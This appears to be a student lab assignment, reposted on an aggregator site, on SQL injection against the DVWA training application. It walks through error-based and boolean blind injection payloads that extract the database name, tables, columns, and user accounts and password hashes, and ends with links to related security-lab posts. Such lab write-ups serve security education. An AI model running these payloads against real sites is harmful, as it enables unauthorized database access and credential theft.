第七次作业

news/2024/10/9 23:22:52

1、在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)
1.输入1 and 1=1查询有两种情况:
(1)数字型注入
输入内容没有被网站做任何处理,能查询到
输入内容被网站做任何处理,通过隐式转换还是能言询到
(2)字符型注入:查询不到

2.输入1 and 1=2查询有两种情况:
(1)数字型注入
输入内容没有被网站做任何处理,查询不到
输入内容被网站做任何处理,查询到
(2)字符型注入:查询不到

经过判断,DVWA中的注入点是被网站经过处理的数字型注入
2、分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
判断字段数为2


爆库名:


爆表名:


爆字段:


查询具体账号密码:


密码md5解码即可
3、分别在前端和后端使用报错注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
爆库名:
在前端注入框输入此代码1' and extractvalue(1,concat(0x7e,database()))#
如下图


爆表名:
在前端注入框输入此代码
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
如下图


爆字段:
在前端注入框输入此代码
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)))#
如下图


以此类推改变limit的值爆出所有字段

查询具体账号密码:
在前端注入框输入此代码查看账号1' and extractvalue(1,concat(0x7e,(select user from users where user_id=1)))#


在前端注入框输入此代码查看密码1' and extractvalue(1,concat(0x7e,(select password from users where user_id=1)))#


以此类推改变user_id的值爆出所有账号密码,密码md5解码即可

回答下列关于报错注入的问题:
(1)在extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?
参数1的位置为字符串,参数2的位置是路径,'~'是个字符串写在参数2不符合函数语法的规则引起的报错
(2)报错注入中,为什么要突破单引号的限制,如何突破?
因为网站前端可能会过滤掉单引号,将原来的字符转换成十六进制
(3)在报错注入过程中,为什么要进行报错,是哪种类型的报错?
只要将查询结果放在报错信息里,即extractvalue函数报错时会解析SQL语句,得到想要的结果,报错类型是语法规则的报错
4、任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程,写清楚注入步骤。
布尔盲注:
爆库名:
先得知当前数据库的长度
在前端注入框输入代码判断当前数据库的长度1' and length(database())>5#


1' and length(database())>3#


1' and length(database())=4#


可判断出当前所连接数据库名称的长度=4

在前端注入框输入代码判断出当前数据库的第一个字母
1' and ascii(substr(database(),1,1))>98#


1' and ascii(substr(database(),1,1))>100#


1' and ascii(substr(database(),1,1))=100#


数据库名称的第一个字目对应的ASCII码为100,查询是字母 d
以此类推以上操作,分别猜解第2/3/4位元素的字母
1' and ascii(substr(database(),2,1))=118#


1' and ascii(substr(database(),3,1))=119#


1' and ascii(substr(database(),4,1))=97#


得知当前连接数据库的名称为:dvwa
爆表名:
在前端注入框输入代码判断当前数据库表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>3#


1' and (select count(table_name) from information_schema.tables where table_schema=database())>2#


1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#


爆出dvwa数据库中表的个数为2

在前端注入框输入代码判断当前数据库第一张表的字符长度
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#


1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8#


1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#


爆出dvwa数据库中第一张表的名称字符长度为9

在前端注入框输入代码判断出当前数据库第一张表的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103#


1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#


dvwa数据库第一张表的第1个字符的ASCII码=103,对应的字符为g,依次猜解出其他位置的字符分别为:u、e、s、t、b、o、o、k
从而dvwa数据库第一张表的名称为:guestbook
同样步骤猜解出dvwa数据库第二张表的名称为:users

时间盲注:if(判断条件,sleep(n),1)函数,若判断条件为真,则执行sleep(n)函数,达到在正常响应时间
的基础上再延迟响应时间n秒的效果。若判断条件为假,则返回设置的1,此时不会执行sleep(n)函数。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/69611.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

ipad mini2 绕过激活锁

本人博客原文链接:https://drcodes.cn/2024/09/25/ipad-mini2-bypass-icloud-activation-lock/ 前言 这几天刷微博刷到一条被锁10年的iPhone终于解锁的视频,被称之为「时间胶囊」,我评论了之前解锁iPad2的经过,不刷机,找回忘记密码的老iPad中的数据!-爱写代码的小医生 (d…

现代C++编程初体验

实验任务1: task1.cpp1 #include <iostream>2 #include <string>3 #include <vector>4 #include <algorithm>5 6 using namespace std;7 8 // 声明9 // 模板函数声明 10 template<typename T> 11 void output(const T &c); 12 13 // 普通函…

cf2009 Codeforces Round 971 (Div. 4)

A. Minimize! 签到题。计算\((c-a)+(b-c)\)的最小值,其实值固定的,等于\(b-a\)。 int a, b;void solve() {cin >> a >> b;cout << b - a << endl; }B. Osu!mania 签到题。给定一个4k下落式的网格,求#下落顺序。直接数组记录就好了。 int n; const i…

KMP循环节

KMP循环节 在icpc 2019 China Collegiate Programming Contest Qinhuangdao Onsite J. MUV LUV EXTRA由题易得,要求这个数的小数部分的\(S=a循环长度−b循环节的长度\),让这个S尽可能的大。 又因为对于循环长度我们可以用kmp算法来求出最小循环节,所以我们可以枚举循环长度去…

js学习 -2024/10/9

今天学习了js中的一些知识 DOM 通过document.get...函数获取元素对象 可以查阅h3school资料找对象的函数,操作对象,//根据id获取元素对象 // let id = document.getElementById(back); // id.src = "../img/02.png";//根据标签获取元素对象 var divss = document.get…

渗透测试作业3

使用wireshark对同一网络下的qq信息进行抓包 首先我们需要知道的是因为qq为了保障消息的及时性,所以当两个设备在同一网域的时候,此时我们发的消息是不会经过保密的,这就给了我们很大的操作空间,那么接下来我会用两种方法来给大家展现一下如何在同一网络下,对QQ的信息进行…

《Programming from the Ground Up》阅读笔记:p181-p216

《Programming from the Ground Up》学习第10天,p181-p216总结,总计34页。 一、技术总结 第10章主要讲计算机是如何计算的,如十进制、二进制、八进制、十六进制以及浮点数和负数的表示。属于比较基础的内容,如果有一定基础,本章可跳过。 1.exponent & mantissa 示例:…

# 20222323 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容 1、熟悉基本的汇编指令,如管道、输入、输出重定向 2、掌握了栈与堆的概念 3、掌握反汇编与十六进制编程器 实验任务 1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发get…